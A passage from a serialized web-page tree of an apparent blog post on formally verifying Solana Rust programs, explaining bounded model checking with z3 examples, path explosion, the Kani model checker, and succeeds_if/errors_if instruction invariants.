100\n",{"type":21,"tag":85,"props":19771,"children":19772},{"class":87,"line":151},[19773,19778,19782,19786,19790],{"type":21,"tag":85,"props":19774,"children":19775},{"style":114},[19776],{"type":26,"value":19777},"z ",{"type":21,"tag":85,"props":19779,"children":19780},{"style":169},[19781],{"type":26,"value":2936},{"type":21,"tag":85,"props":19783,"children":19784},{"style":114},[19785],{"type":26,"value":5284},{"type":21,"tag":85,"props":19787,"children":19788},{"style":169},[19789],{"type":26,"value":3052},{"type":21,"tag":85,"props":19791,"children":19792},{"style":2285},[19793],{"type":26,"value":19794}," 2\n",{"type":21,"tag":22,"props":19796,"children":19797},{},[19798],{"type":26,"value":19799},"Negative branch:",{"type":21,"tag":75,"props":19801,"children":19803},{"code":19802,"language":3918,"meta":7,"className":16935,"style":7},"y == x + 3\ny \u003C= 100\nz == y + 1\n",[19804],{"type":21,"tag":66,"props":19805,"children":19806},{"__ignoreMap":7},[19807,19830,19846],{"type":21,"tag":85,"props":19808,"children":19809},{"class":87,"line":88},[19810,19814,19818,19822,19826],{"type":21,"tag":85,"props":19811,"children":19812},{"style":114},[19813],{"type":26,"value":19736},{"type":21,"tag":85,"props":19815,"children":19816},{"style":169},[19817],{"type":26,"value":2936},{"type":21,"tag":85,"props":19819,"children":19820},{"style":114},[19821],{"type":26,"value":19516},{"type":21,"tag":85,"props":19823,"children":19824},{"style":169},[19825],{"type":26,"value":5151},{"type":21,"tag":85,"props":19827,"children":19828},{"style":2285},[19829],{"type":26,"value":19753},{"type":21,"tag":85,"props":19831,"children":19832},{"class":87,"line":98},[19833,19837,19842],{"type":21,"tag":85,"props":19834,"children":19835},{"style":114},[19836],{"type":26,"value":19736},{"type":21,"tag":85,"props":19838,"children":19839},{"style":169},[19840],{"type":26,"value":19841},"\u003C=",{"type":21,"tag":85,"props":19843,"children":19844},{"style":2285},[19845],{"type":26,"value":19769},{"type":21,"tag":85,"props":19847,"children":19848},{"class":87,"line":151},[19849,19853,19857,19861,19865],{"type":21,"tag":85,"props":19850,"children":19851},{"style":114},[19852],{"type":26,"value":19777},{"type":21,"tag":85,"props":19854,"children":19855},{"style":169},[19856],{"type":26,"value":2936},{"type":21,"tag":85,"props":19858,"children":19859},{"style":114},[19860],{"type":26,"value":5284},{"type":21,"tag":85,"props":19862,"children":19863},{"style":169},[19864],{"type":26,"value":5151},{"type":21,"tag":85,"props":19866,"children":19867},{"style":2285},[19868],{"type":26,"value":19869}," 1\n",{"type":21,"tag":22,"props":19871,"children":19872},{},[19873,19875,19882],{"type":26,"value":19874},"Using the ",{"type":21,"tag":335,"props":19876,"children":19879},{"href":19877,"rel":19878},"https://github.com/Z3Prover/z3",[339],[19880],{"type":26,"value":19881},"z3",{"type":26,"value":19883}," SMT solver, we could check both of these cases like so:",{"type":21,"tag":75,"props":19885,"children":19889},{"code":19886,"language":19887,"meta":7,"className":19888,"style":7},"from z3 import *\n\nx = Int('x')\ny = Int('y')\nz = Int('z')\n\n# Positive branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y > 100)\ns.add(z == y * 2)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n\n# Negative branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y \u003C= 100)\ns.add(z == y + 1)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n","python","language-python shiki shiki-themes slack-dark",[19890],{"type":21,"tag":66,"props":19891,"children":19892},{"__ignoreMap":7},[19893,19916,19923,19949,19973,19997,20004,20012,20029,20057,20076,20104,20111,20119,20140,20158,20165,20173,20188,20215,20234,20261,20268,20275,20294],{"type":21,"tag":85,"props":19894,"children":19895},{"class":87,"line":88},[19896,19901,19906,19911],{"type":21,"tag":85,"props":19897,"children":19898},{"style":2885},[19899],{"type":26,"value":19900},"from",{"type":21,"tag":85,"props":19902,"children":19903},{"style":114},[19904],{"type":26,"value":19905}," z3 ",{"type":21,"tag":85,"props":19907,"children":19908},{"style":2885},[19909],{"type":26,"value":19910},"import",{"type":21,"tag":85,"props":19912,"children":19913},{"style":169},[19914],{"type":26,"value":19915}," *\n",{"type":21,"tag":85,"props":19917,"children":19918},{"class":87,"line":98},[19919],{"type":21,"tag":85,"props":19920,"children":19921},{"emptyLinePlaceholder":16},[19922],{"type":26,"value":703},{"type":21,"tag":85,"props":19924,"children":19925},{"class":87,"line":151},[19926,19931,19935,19940,19945],{"type":21,"tag":85,"props":19927,"children":19928},{"style":114},[19929],{"type":26,"value":19930},"x ",{"type":21,"tag":85,"props":19932,"children":19933},{"style":169},[19934],{"type":26,"value":741},{"type":21,"tag":85,"props":19936,"children":19937},{"style":114},[19938],{"type":26,"value":19939}," Int(",{"type":21,"tag":85,"props":19941,"children":19942},{"style":5026},[19943],{"type":26,"value":19944},"'x'",{"type":21,"tag":85,"props":19946,"children":19947},{"style":114},[19948],{"type":26,"value":2485},{"type":21,"tag":85,"props":19950,"children":19951},{"class":87,"line":160},[19952,19956,19960,19964,19969],{"type":21,"tag":85,"props":19953,"children":19954},{"style":114},[19955],{"type":26,"value":19736},{"type":21,"tag":85,"props":19957,"children":19958},{"style":169},[19959],{"type":26,"value":741},{"type":21,"tag":85,"props":19961,"children":19962},{"style":114},[19963],{"type":26,"value":19939},{"type":21,"tag":85,"props":19965,"children":19966},{"style":5026},[19967],{"type":26,"value":19968},"'y'",{"type":21,"tag":85,"props":19970,"children":19971},{"style":114},[19972],{"type":26,"value":2485},{"type":21,"tag":85,"props":19974,"children":19975},{"class":87,"line":185},[19976,19980,19984,19988,19993],{"type":21,"tag":85,"props":19977,"children":19978},{"style":114},[19979],{"type":26,"value":19777},{"type":21,"tag":85,"props":19981,"children":19982},{"style":169},[19983],{"type":26,"value":741},{"type":21,"tag":85,"props":19985,"children":19986},{"style":114},[19987],{"type":26,"value":19939},{"type":21,"tag":85,"props":19989,"children":19990},{"style":5026},[19991],{"type":26,"value":19992},"'z'",{"type":21,"tag":85,"props":19994,"children":19995},{"style":114},[19996],{"type":26,"value":2485},{"type":21,"tag":85,"props":19998,"children":19999},{"class":87,"line":501},[20000],{"type":21,"tag":85,"props":20001,"children":20002},{"emptyLinePlaceholder":16},[20003],{"type":26,"value":703},{"type":21,"tag":85,"props":20005,"children":20006},{"class":87,"line":697},[20007],{"type":21,"tag":85,"props":20008,"children":20009},{"style":92},[20010],{"type":26,"value":20011},"# Positive branch:\n",{"type":21,"tag":85,"props":20013,"children":20014},{"class":87,"line":706},[20015,20020,20024],{"type":21,"tag":85,"props":20016,"children":20017},{"style":114},[20018],{"type":26,"value":20019},"s ",{"type":21,"tag":85,"props":20021,"children":20022},{"style":169},[20023],{"type":26,"value":741},{"type":21,"tag":85,"props":20025,"children":20026},{"style":114},[20027],{"type":26,"value":20028}," Solver()\n",{"type":21,"tag":85,"props":20030,"children":20031},{"class":87,"line":1100},[20032,20037,20041,20045,20049,20053],{"type":21,"tag":85,"props":20033,"children":20034},{"style":114},[20035],{"type":26,"value":20036},"s.add(y ",{"type":21,"tag":85,"props":20038,"children":20039},{"style":169},[20040],{"type":26,"value":2936},{"type":21,"tag":85,"props":20042,"children":20043},{"style":114},[20044],{"type":26,"value":19516},{"type":21,"tag":85,"props":20046,"children":20047},{"style":169},[20048],{"type":26,"value":5151},{"type":21,"tag":85,"props":20050,"children":20051},{"style":2285},[20052],{"type":26,"value":19525},{"type":21,"tag":85,"props":20054,"children":20055},{"style":114},[20056],{"type":26,"value":2485},{"type":21,"tag":85,"props":20058,"children":20059},{"class":87,"line":1339},[20060,20064,20068,20072],{"type":21,"tag":85,"props":20061,"children":20062},{"style":114},[20063],{"type":26,"value":20036},{"type":21,"tag":85,"props":20065,"children":20066},{"style":169},[20067],{"type":26,"value":10877},{"type":21,"tag":85,"props":20069,"children":20070},{"style":2285},[20071],{"type":26,"value":19562},{"type":21,"tag":85,"props":20073,"children":20074},{"style":114},[20075],{"type":26,"value":2485},{"type":21,"tag":85,"props":20077,"children":20078},{"class":87,"line":1348},[20079,20084,20088,20092,20096,20100],{"type":21,"tag":85,"props":20080,"children":20081},{"style":114},[20082],{"type":26,"value":20083},"s.add(z ",{"type":21,"tag":85,"props":20085,"children":20086},{"style":169},[20087],{"type":26,"value":2936},{"type":21,"tag":85,"props":20089,"children":20090},{"style":114},[20091],{"type":26,"value":5284},{"type":21,"tag":85,"props":20093,"children":20094},{"style":169},[20095],{"type":26,"value":3052},{"type":21,"tag":85,"props":20097,"children":20098},{"style":2285},[20099],{"type":26,"value":2288},{"type":21,"tag":85,"props":20101,"children":20102},{"style":114},[20103],{"type":26,"value":2485},{"type":21,"tag":85,"props":20105,"children":20106},{"class":87,"line":1386},[20107],{"type":21,"tag":85,"props":20108,"children":20109},{"emptyLinePlaceholder":16},[20110],{"type":26,"value":703},{"type":21,"tag":85,"props":20112,"children":20113},{"class":87,"line":1394},[20114],{"type":21,"tag":85,"props":20115,"children":20116},{"style":92},[20117],{"type":26,"value":20118},"# check if we can violate the correctness property\n",{"type":21,"tag":85,"props":20120,"children":20121},{"class":87,"line":1402},[20122,20127,20131,20135],{"type":21,"tag":85,"props":20123,"children":20124},{"style":114},[20125],{"type":26,"value":20126},"s.add(Not(z ",{"type":21,"tag":85,"props":20128,"children":20129},{"style":169},[20130],{"type":26,"value":16108},{"type":21,"tag":85,"props":20132,"children":20133},{"style":2285},[20134],{"type":26,"value":19680},{"type":21,"tag":85,"props":20136,"children":20137},{"style":114},[20138],{"type":26,"value":20139},"))\n",{"type":21,"tag":85,"props":20141,"children":20142},{"class":87,"line":3145},[20143,20148,20153],{"type":21,"tag":85,"props":20144,"children":20145},{"style":1021},[20146],{"type":26,"value":20147},"print",{"type":21,"tag":85,"props":20149,"children":20150},{"style":114},[20151],{"type":26,"value":20152},"(s.check()) ",{"type":21,"tag":85,"props":20154,"children":20155},{"style":92},[20156],{"type":26,"value":20157},"# \"unsat\"\n",{"type":21,"tag":85,"props":20159,"children":20160},{"class":87,"line":3246},[20161],{"type":21,"tag":85,"props":20162,"children":20163},{"emptyLinePlaceholder":16},[20164],{"type":26,"value":703},{"type":21,"tag":85,"props":20166,"children":20167},{"class":87,"line":3255},[20168],{"type":21,"tag":85,"props":20169,"children":20170},{"style":92},[20171],{"type":26,"value":20172},"# Negative branch:\n",{"type":21,"tag":85,"props":20174,"children":20175},{"class":87,"line":3286},[20176,20180,20184],{"type":21,"tag":85,"props":20177,"children":20178},{"style":114},[20179],{"type":26,"value":20019},{"type":21,"tag":85,"props":20181,"children":20182},{"style":169},[20183],{"type":26,"value":741},{"type":21,"tag":85,"props":20185,"children":20186},{"style":114},[20187],{"type":26,"value":20028},{"type":21,"tag":85,"props":20189,"children":20190},{"class":87,"line":3295},[20191,20195,20199,20203,20207,20211],{"type":21,"tag":85,"props":20192,"children":20193},{"style":114},[20194],{"type":26,"value":20036},{"type":21,"tag":85,"props":20196,"children":20197},{"style":169},[20198],{"type":26,"value":2936},{"type":21,"tag":85,"props":20200,"children":20201},{"style":114},[20202],{"type":26,"value":19516},{"type":21,"tag":85,"props":20204,"children":20205},{"style":169},[20206],{"type":26,"value":5151},{"type":21,"tag":85,"props":20208,"children":20209},{"style":2285},[20210],{"type":26,"value":19525},{"type":21,"tag":85,"props":20212,"children":20213},{"style":114},[20214],{"type":26,"value":2485},{"type":21,"tag":85,"props":20216,"children":20217},{"class":87,"line":3308},[20218,20222,20226,20230],{"type":21,"tag":85,"props":20219,"children":20220},{"style":114},[20221],{"type":26,"value":20036},{"type":21,"tag":85,"props":20223,"children":20224},{"style":169},[20225],{"type":26,"value":19841},{"type":21,"tag":85,"props":20227,"children":20228},{"style":2285},[20229],{"type":26,"value":19562},{"type":21,"tag":85,"props":20231,"children":20232},{"style":114},[20233],{"type":26,"value":2485},{"type":21,"tag":85,"props":20235,"children":20236},{"class":87,"line":3333},[20237,20241,20245,20249,20253,20257],{"type":21,"tag":85,"props":20238,"children":20239},{"style":114},[20240],{"type":26,"value":20083},{"type":21,"tag":85,"props":20242,"children":20243},{"style":169},[20244],{"type":26,"value":2936},{"type":21,"tag":85,"props":20246,"children":20247},{"style":114},[20248],{"type":26,"value":5284},{"type":21,"tag":85,"props":20250,"children":20251},{"style":169},[20252],{"type":26,"value":5151},{"type":21,"tag":85,"props":20254,"children":20255},{"style":2285},[20256],{"type":26,"value":3279},{"type":21,"tag":85,"props":20258,"children":20259},{"style":114},[20260],{"type":26,"value":2485},{"type":21,"tag":85,"props":20262,"children":20263},{"class":87,"line":3369},[20264],{"type":21,"tag":85,"props":20265,"children":20266},{"emptyLinePlaceholder":16},[20267],{"type":26,"value":703},{"type":21,"tag":85,"props":20269,"children":20270},{"class":87,"line":3377},[20271],{"type":21,"tag":85,"props":20272,"children":20273},{"style":92},[20274],{"type":26,"value":20118},{"type":21,"tag":85,"props":20276,"children":20277},{"class":87,"line":3386},[20278,20282,20286,20290],{"type":21,"tag":85,"props":20279,"children":20280},{"style":114},[20281],{"type":26,"value":20126},{"type":21,"tag":85,"props":20283,"children":20284},{"style":169},[20285],{"type":26,"value":16108},{"type":21,"tag":85,"props":20287,"children":20288},{"style":2285},[20289],{"type":26,"value":19680},{"type":21,"tag":85,"props":20291,"children":20292},{"style":114},[20293],{"type":26,"value":20139},{"type":21,"tag":85,"props":20295,"children":20296},{"class":87,"line":3394},[20297,20301,20305],{"type":21,"tag":85,"props":20298,"children":20299},{"style":1021},[20300],{"type":26,"value":20147},{"type":21,"tag":85,"props":20302,"children":20303},{"style":114},[20304],{"type":26,"value":20152},{"type":21,"tag":85,"props":20306,"children":20307},{"style":92},[20308],{"type":26,"value":20157},{"type":21,"tag":22,"props":20310,"children":20311},{},[20312,20314,20320,20322,20327],{"type":26,"value":20313},"Both of these cases return ",{"type":21,"tag":66,"props":20315,"children":20317},{"className":20316},[],[20318],{"type":26,"value":20319},"unsat",{"type":26,"value":20321}," meaning z3 could not find a way to violate the correctness property, hence our program is ",{"type":21,"tag":39,"props":20323,"children":20324},{},[20325],{"type":26,"value":20326},"correct",{"type":26,"value":20328}," according to this property.",{"type":21,"tag":10022,"props":20330,"children":20332},{"id":20331},"loop-bounds-path-explosion",[20333],{"type":26,"value":20334},"Loop bounds & path explosion",{"type":21,"tag":22,"props":20336,"children":20337},{},[20338,20340,20345,20347,20352],{"type":26,"value":20339},"As you may have noticed, BMC requires us to take ",{"type":21,"tag":39,"props":20341,"children":20342},{},[20343],{"type":26,"value":20344},"every",{"type":26,"value":20346}," branch in the program. To be sure that our property holds, we need to check every possible route through the program. If we have 10 branches in a row we might need to test 2^10 paths! And if our program has loops, we may need to check an ",{"type":21,"tag":39,"props":20348,"children":20349},{},[20350],{"type":26,"value":20351},"infinite",{"type":26,"value":20353}," number of paths because the loop branches backward. This might take a while...",{"type":21,"tag":22,"props":20355,"children":20356},{},[20357],{"type":26,"value":20358},"This is where the \"bounded\" part of \"bounded model checking\" applies. Rather than unroll an infinite number of loops, we can set a loop bound and also verify that it is not possible to loop more than the loop bound.",{"type":21,"tag":22,"props":20360,"children":20361},{},[20362],{"type":26,"value":20363},"While this technique of bounding loops makes the problem tractable. It is still expensive to run BMC on very large programs due to the problem of path explosion. As our program gets larger, the number of possible paths scales potentially exponentially.",{"type":21,"tag":22,"props":20365,"children":20366},{},[20367],{"type":26,"value":20368},"One of the main challenges we will discuss later is how to address this problem of path explosion in the context of Solana Rust programs.",{"type":21,"tag":10022,"props":20370,"children":20372},{"id":20371},"kani-model-checker",[20373],{"type":26,"value":20374},"Kani Model Checker",{"type":21,"tag":22,"props":20376,"children":20377},{},[20378,20380,20385],{"type":26,"value":20379},"For our research with formally verifying Solana programs, we are using the ",{"type":21,"tag":335,"props":20381,"children":20383},{"href":19272,"rel":20382},[339],[20384],{"type":26,"value":19276},{"type":26,"value":20386},": an open-source, bit-precise model checker for Rust created at AWS. Under the hood, Kani uses the C Bounded Model Checker (CBMC) to do the heavy lifting.",{"type":21,"tag":22,"props":20388,"children":20389},{},[20390,20392,20397,20399,20405,20406,20412,20414,20420],{"type":26,"value":20391},"Kani allows you to write ",{"type":21,"tag":39,"props":20393,"children":20394},{},[20395],{"type":26,"value":20396},"proof harnesses",{"type":26,"value":20398}," which can invoke Rust functions with symbolic values. These harnesses can ",{"type":21,"tag":66,"props":20400,"children":20402},{"className":20401},[],[20403],{"type":26,"value":20404},"assume",{"type":26,"value":11408},{"type":21,"tag":66,"props":20407,"children":20409},{"className":20408},[],[20410],{"type":26,"value":20411},"assert",{"type":26,"value":20413}," certain conditions about these symbolic values and then you can verify that a proof harness holds via the ",{"type":21,"tag":66,"props":20415,"children":20417},{"className":20416},[],[20418],{"type":26,"value":20419},"cargo kani",{"type":26,"value":20421}," tool (which compiles your proof harness and runs BMC).",{"type":21,"tag":54,"props":20423,"children":20425},{"id":20424},"specification-how-can-we-describe-what-we-want-our-program-to-do",[20426,20428,20432],{"type":26,"value":20427},"Specification: How can we describe what we ",{"type":21,"tag":39,"props":20429,"children":20430},{},[20431],{"type":26,"value":19346},{"type":26,"value":19348},{"type":21,"tag":22,"props":20434,"children":20435},{},[20436],{"type":21,"tag":39,"props":20437,"children":20438},{},[20439],{"type":21,"tag":873,"props":20440,"children":20441},{},[20442],{"type":26,"value":20443},"And what even do we want it to do?",{"type":21,"tag":22,"props":20445,"children":20446},{},[20447,20449,20454],{"type":26,"value":20448},"A fundamental challenge with any formal verification framework is ",{"type":21,"tag":39,"props":20450,"children":20451},{},[20452],{"type":26,"value":20453},"specifying",{"type":26,"value":20455}," what the \"correct\" behavior should be.",{"type":21,"tag":22,"props":20457,"children":20458},{},[20459],{"type":26,"value":20460},"In natural language, we can describe a few good properties for example Solana programs:",{"type":21,"tag":17108,"props":20462,"children":20463},{},[20464,20476,20488],{"type":21,"tag":845,"props":20465,"children":20466},{},[20467,20469,20474],{"type":26,"value":20468},"\"It should not be possible to ",{"type":21,"tag":873,"props":20470,"children":20471},{},[20472],{"type":26,"value":20473},"steal money",{"type":26,"value":20475}," via a swap program\"",{"type":21,"tag":845,"props":20477,"children":20478},{},[20479,20481,20486],{"type":26,"value":20480},"\"A multisig should never get into a state where you ",{"type":21,"tag":873,"props":20482,"children":20483},{},[20484],{"type":26,"value":20485},"can't sign anything",{"type":26,"value":20487},"\"",{"type":21,"tag":845,"props":20489,"children":20490},{},[20491],{"type":26,"value":20492},"\"User funds in a staking protocol \"",{"type":21,"tag":22,"props":20494,"children":20495},{},[20496,20498,20508,20510,20515],{"type":26,"value":20497},"These are types of properties you can tell your ",{"type":21,"tag":335,"props":20499,"children":20502},{"href":20500,"rel":20501},"https://osec.io/",[339],[20503],{"type":21,"tag":39,"props":20504,"children":20505},{},[20506],{"type":26,"value":20507},"human auditors",{"type":26,"value":20509}," but these English phrases are not particularly useful for ",{"type":21,"tag":39,"props":20511,"children":20512},{},[20513],{"type":26,"value":20514},"automated verification techniques",{"type":26,"value":20516}," (at least until our AI overlords surpass human intelligence).",{"type":21,"tag":22,"props":20518,"children":20519},{},[20520,20522,20527,20529,20534],{"type":26,"value":20521},"Instead, we need to be able to specify ",{"type":21,"tag":39,"props":20523,"children":20524},{},[20525],{"type":26,"value":20526},"in code",{"type":26,"value":20528}," what properties we want to check. Ideally, we could define invariants that fit nicely into something like an ",{"type":21,"tag":66,"props":20530,"children":20532},{"className":20531},[],[20533],{"type":26,"value":20411},{"type":26,"value":20535}," statement.",{"type":21,"tag":10022,"props":20537,"children":20539},{"id":20538},"solana-invariants",[20540],{"type":26,"value":20541},"Solana Invariants",{"type":21,"tag":22,"props":20543,"children":20544},{},[20545,20547,20552,20553,20558],{"type":26,"value":20546},"In the context of Solana programs we define two different types of properties that we would like to verify: ",{"type":21,"tag":873,"props":20548,"children":20549},{},[20550],{"type":26,"value":20551},"instruction invariants",{"type":26,"value":11408},{"type":21,"tag":873,"props":20554,"children":20555},{},[20556],{"type":26,"value":20557},"account invariants",{"type":26,"value":73},{"type":21,"tag":19318,"props":20560,"children":20562},{"id":20561},"instruction-invariant",[20563],{"type":26,"value":20564},"Instruction Invariant",{"type":21,"tag":22,"props":20566,"children":20567},{},[20568,20570,20575,20577,20583,20584,20590],{"type":26,"value":20569},"An ",{"type":21,"tag":873,"props":20571,"children":20572},{},[20573],{"type":26,"value":20574},"instruction invariant",{"type":26,"value":20576}," specifies sufficient conditions for an instruction to succeed (or fail). These are specified as ",{"type":21,"tag":66,"props":20578,"children":20580},{"className":20579},[],[20581],{"type":26,"value":20582},"succeeds_if",{"type":26,"value":13551},{"type":21,"tag":66,"props":20585,"children":20587},{"className":20586},[],[20588],{"type":26,"value":20589},"errors_if",{"type":26,"value":20591}," macro annotations on the instruction handler.",{"type":21,"tag":22,"props":20593,"children":20594},{},[20595],{"type":26,"value":20596},"In Solana, when an instruction fails, the entire transaction is reverted. Failing an instruction on purpose is commonly used as a form of access control; invalid accounts, bad state, etc... will cause an instruction to fail and get reverted.",{"type":21,"tag":22,"props":20598,"children":20599},{},[20600,20602,20608,20610,20615],{"type":26,"value":20601},"For example, say we have a ",{"type":21,"tag":66,"props":20603,"children":20605},{"className":20604},[],[20606],{"type":26,"value":20607},"Withdraw",{"type":26,"value":20609}," instruction that lets a user withdraw some tokens. A security critical property we may want to verify is that the user cannot withdraw ",{"type":21,"tag":39,"props":20611,"children":20612},{},[20613],{"type":26,"value":20614},"more",{"type":26,"value":20616}," tokens than their current balance.",{"type":21,"tag":22,"props":20618,"children":20619},{},[20620,20622,20627],{"type":26,"value":20621},"Using our tool, you could specify the following ",{"type":21,"tag":66,"props":20623,"children":20625},{"className":20624},[],[20626],{"type":26,"value":20589},{"type":26,"value":20628}," property on your instruction handler:",{"type":21,"tag":75,"props":20630,"children":20632},{"code":20631,"language":79,"meta":7,"className":77,"style":7},"#[errors_if(\n    ctx.user.balance \u003C amount\n)]\nfn withdraw(ctx: Context\u003CWithdraw>, amount: u64) -> Result\u003C()> {\n    ...\n}\n",[20633],{"type":21,"tag":66,"props":20634,"children":20635},{"__ignoreMap":7},[20636,20644,20679,20687,20760,20768],{"type":21,"tag":85,"props":20637,"children":20638},{"class":87,"line":88},[20639],{"type":21,"tag":85,"props":20640,"children":20641},{"style":114},[20642],{"type":26,"value":20643},"#[errors_if(\n",{"type":21,"tag":85,"props":20645,"children":20646},{"class":87,"line":98},[20647,20652,20656,20661,20665,20670,20674],{"type":21,"tag":85,"props":20648,"children":20649},{"style":114},[20650],{"type":26,"value":20651},"    ctx",{"type":21,"tag":85,"props":20653,"children":20654},{"style":169},[20655],{"type":26,"value":73},{"type":21,"tag":85,"props":20657,"children":20658},{"style":114},[20659],{"type":26,"value":20660},"user",{"type":21,"tag":85,"props":20662,"children":20663},{"style":169},[20664],{"type":26,"value":73},{"type":21,"tag":85,"props":20666,"children":20667},{"style":114},[20668],{"type":26,"value":20669},"balance ",{"type":21,"tag":85,"props":20671,"children":20672},{"style":169},[20673],{"type":26,"value":117},{"type":21,"tag":85,"props":20675,"children":20676},{"style":114},[20677],{"type":26,"value":20678}," amount\n",{"type":21,"tag":85,"props":20680,"children":20681},{"class":87,"line":151},[20682],{"type":21,"tag":85,"props":20683,"children":20684},{"style":114},[20685],{"type":26,"value":20686},")]\n",{"type":21,"tag":85,"props":20688,"children":20689},{"class":87,"line":160},[20690,20695,20700,20704,20709,20713,20718,20722,20726,20730,20735,20739,20743,20747,20751,20755],{"type":21,"tag":85,"props":20691,"children":20692},{"style":102},[20693],{"type":26,"value":20694},"fn",{"type":21,"tag":85,"props":20696,"children":20697},{"style":1021},[20698],{"type":26,"value":20699}," withdraw",{"type":21,"tag":85,"props":20701,"children":20702},{"style":114},[20703],{"type":26,"value":1439},{"type":21,"tag":85,"props":20705,"children":20706},{"style":120},[20707],{"type":26,"value":20708},"ctx",{"type":21,"tag":85,"props":20710,"children":20711},{"style":169},[20712],{"type":26,"value":172},{"type":21,"tag":85,"props":20714,"children":20715},{"style":108},[20716],{"type":26,"value":20717}," Context",{"type":21,"tag":85,"props":20719,"children":20720},{"style":114},[20721],{"type":26,"value":117},{"type":21,"tag":85,"props":20723,"children":20724},{"style":108},[20725],{"type":26,"value":20607},{"type":21,"tag":85,"props":20727,"children":20728},{"style":114},[20729],{"type":26,"value":966},{"type":21,"tag":85,"props":20731,"children":20732},{"style":120},[20733],{"type":26,"value":20734},"amount",{"type":21,"tag":85,"props":20736,"children":20737},{"style":169},[20738],{"type":26,"value":172},{"type":21,"tag":85,"props":20740,"children":20741},{"style":108},[20742],{"type":26,"value":177},{"type":21,"tag":85,"props":20744,"children":20745},{"style":114},[20746],{"type":26,"value":736},{"type":21,"tag":85,"props":20748,"children":20749},{"style":169},[20750],{"type":26,"value":14175},{"type":21,"tag":85,"props":20752,"children":20753},{"style":108},[20754],{"type":26,"value":14180},{"type":21,"tag":85,"props":20756,"children":20757},{"style":114},[20758],{"type":26,"value":20759},"\u003C()> {\n",{"type":21,"tag":85,"props":20761,"children":20762},{"class":87,"line":185},[20763],{"type":21,"tag":85,"props":20764,"children":20765},{"style":169},[20766],{"type":26,"value":20767},"    ...\n",{"type":21,"tag":85,"props":20769,"children":20770},{"class":87,"line":501},[20771],{"type":21,"tag":85,"props":20772,"children":20773},{"style":114},[20774],{"type":26,"value":2671},{"type":21,"tag":3712,"props":20776,"children":20777},{},[20778],{"type":21,"tag":22,"props":20779,"children":20780},{},[20781,20782,20787,20789,20794,20796,20801],{"type":26,"value":17034},{"type":21,"tag":66,"props":20783,"children":20785},{"className":20784},[],[20786],{"type":26,"value":20589},{"type":26,"value":20788}," expression specifies ",{"type":21,"tag":39,"props":20790,"children":20791},{},[20792],{"type":26,"value":20793},"succifient",{"type":26,"value":20795}," but not ",{"type":21,"tag":39,"props":20797,"children":20798},{},[20799],{"type":26,"value":20800},"necessary",{"type":26,"value":20802}," conditions for an instruction to fail. I.e. it imposes a strong lower bound on what the requirements are for an instruction to fail.",{"type":21,"tag":19218,"props":20804,"children":20805},{},[],{"type":21,"tag":22,"props":20807,"children":20808},{},[20809,20811,20816],{"type":26,"value":20810},"Another example is that for ",{"type":21,"tag":39,"props":20812,"children":20813},{},[20814],{"type":26,"value":20815},"crank",{"type":26,"value":20817}," functions — run by unauthenticated users to advance the state of the system, you may want to prove that they never fail. In that case, you could specify an invariant like the following:",{"type":21,"tag":75,"props":20819,"children":20821},{"code":20820,"language":79,"meta":7,"className":77,"style":7},"#[succeeds_if(true)]\nfn my_crank(ctx: Context\u003CCrank>) -> Result\u003C()> {\n    ...\n}\n",[20822],{"type":21,"tag":66,"props":20823,"children":20824},{"__ignoreMap":7},[20825,20833,20887,20894],{"type":21,"tag":85,"props":20826,"children":20827},{"class":87,"line":88},[20828],{"type":21,"tag":85,"props":20829,"children":20830},{"style":114},[20831],{"type":26,"value":20832},"#[succeeds_if(true)]\n",{"type":21,"tag":85,"props":20834,"children":20835},{"class":87,"line":98},[20836,20840,20845,20849,20853,20857,20861,20865,20870,20875,20879,20883],{"type":21,"tag":85,"props":20837,"children":20838},{"style":102},[20839],{"type":26,"value":20694},{"type":21,"tag":85,"props":20841,"children":20842},{"style":1021},[20843],{"type":26,"value":20844}," my_crank",{"type":21,"tag":85,"props":20846,"children":20847},{"style":114},[20848],{"type":26,"value":1439},{"type":21,"tag":85,"props":20850,"children":20851},{"style":120},[20852],{"type":26,"value":20708},{"type":21,"tag":85,"props":20854,"children":20855},{"style":169},[20856],{"type":26,"value":172},{"type":21,"tag":85,"props":20858,"children":20859},{"style":108},[20860],{"type":26,"value":20717},{"type":21,"tag":85,"props":20862,"children":20863},{"style":114},[20864],{"type":26,"value":117},{"type":21,"tag":85,"props":20866,"children":20867},{"style":108},[20868],{"type":26,"value":20869},"Crank",{"type":21,"tag":85,"props":20871,"children":20872},{"style":114},[20873],{"type":26,"value":20874},">) ",{"type":21,"tag":85,"props":20876,"children":20877},{"style":169},[20878],{"type":26,"value":14175},{"type":21,"tag":85,"props":20880,"children":20881},{"style":108},[20882],{"type":26,"value":14180},{"type":21,"tag":85,"props":20884,"children":20885},{"style":114},[20886],{"type":26,"value":20759},{"type":21,"tag":85,"props":20888,"children":20889},{"class":87,"line":151},[20890],{"type":21,"tag":85,"props":20891,"children":20892},{"style":169},[20893],{"type":26,"value":20767},{"type":21,"tag":85,"props":20895,"children":20896},{"class":87,"line":160},[20897],{"type":21,"tag":85,"props":20898,"children":20899},{"style":114},[20900],{"type":26,"value":2671},{"type":21,"tag":22,"props":20902,"children":20903},{},[20904,20906,20910,20912,20918],{"type":26,"value":20905},"With this invariant, you could prove that the function ",{"type":21,"tag":39,"props":20907,"children":20908},{},[20909],{"type":26,"value":13511},{"type":26,"value":20911}," returns ",{"type":21,"tag":66,"props":20913,"children":20915},{"className":20914},[],[20916],{"type":26,"value":20917},"Ok",{"type":26,"value":20919},". This type of construction could help avoid possible denial of service attacks if a crank could get \"stuck.\"",{"type":21,"tag":19218,"props":20921,"children":20922},{},[],{"type":21,"tag":22,"props":20924,"children":20925},{},[20926,20928,20933,20934,20939,20941,20946,20948,20953,20955,20960],{"type":26,"value":20927},"Note that ",{"type":21,"tag":66,"props":20929,"children":20931},{"className":20930},[],[20932],{"type":26,"value":20582},{"type":26,"value":11408},{"type":21,"tag":66,"props":20935,"children":20937},{"className":20936},[],[20938],{"type":26,"value":20589},{"type":26,"value":20940}," are both implications and not biconditionals. That is, a function may succeed even if ",{"type":21,"tag":66,"props":20942,"children":20944},{"className":20943},[],[20945],{"type":26,"value":20582},{"type":26,"value":20947}," is not satisfied and a function may fail even if ",{"type":21,"tag":66,"props":20949,"children":20951},{"className":20950},[],[20952],{"type":26,"value":20589},{"type":26,"value":20954}," is not satisfied. If you want to prove the 